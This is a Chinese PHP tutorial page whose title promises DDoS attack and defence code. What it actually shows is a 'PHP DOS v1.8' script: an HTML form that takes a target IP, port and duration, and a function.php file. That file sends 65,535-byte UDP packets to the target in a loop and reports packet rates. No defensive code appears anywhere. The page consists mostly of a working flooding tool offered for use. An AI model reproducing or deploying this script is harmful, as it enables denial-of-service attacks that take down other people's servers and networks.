首頁 >後端開發 >php教程 >php下ddos攻擊與防範代碼

php下ddos攻擊與防範代碼

WBOY
WBOY原創
2016-07-25 09:05:142312瀏覽
  1. $ip = $_SERVER['REMOTE_ADDR'];
  2. ?>
  3. PHP DoS, Coded by EXE



  4. Your IP: (Don't DoS yourself nub)

  5. IP:
  6. Time:
  7. Port:




  8. After initiating the DoS attack, please wait while the browser loads.
复制代码

文件:function.php

  1. //=========================================
  2. //PHP DOS v1.8 (Possibly Stronger Flood Strength)
  3. //Coded by EXE
  4. //@link http://bbs.it-home.org
  5. //=========================================
  6. $packets = 0;
  7. $ip = $_POST['ip'];
  8. $rand = $_POST['port'];
  9. set_time_limit(0);
  10. ignore_user_abort(FALSE);
  11. $exec_time = $_POST['time'];
  12. $time = time();
  13. print "Flooded: $ip on port $rand

    ";
  14. $max_time = $time+$exec_time;
  15. for($i=0;$i<65535;$i++){
  16. $out .= "X";
  17. }
  18. while(1){
  19. $packets++;
  20. if(time() > $max_time){
  21. break;
  22. }
  23. $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
  24. if($fp){
  25. fwrite($fp, $out);
  26. fclose($fp);
  27. }
  28. }
  29. echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";
  30. ?>
复制代码


陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn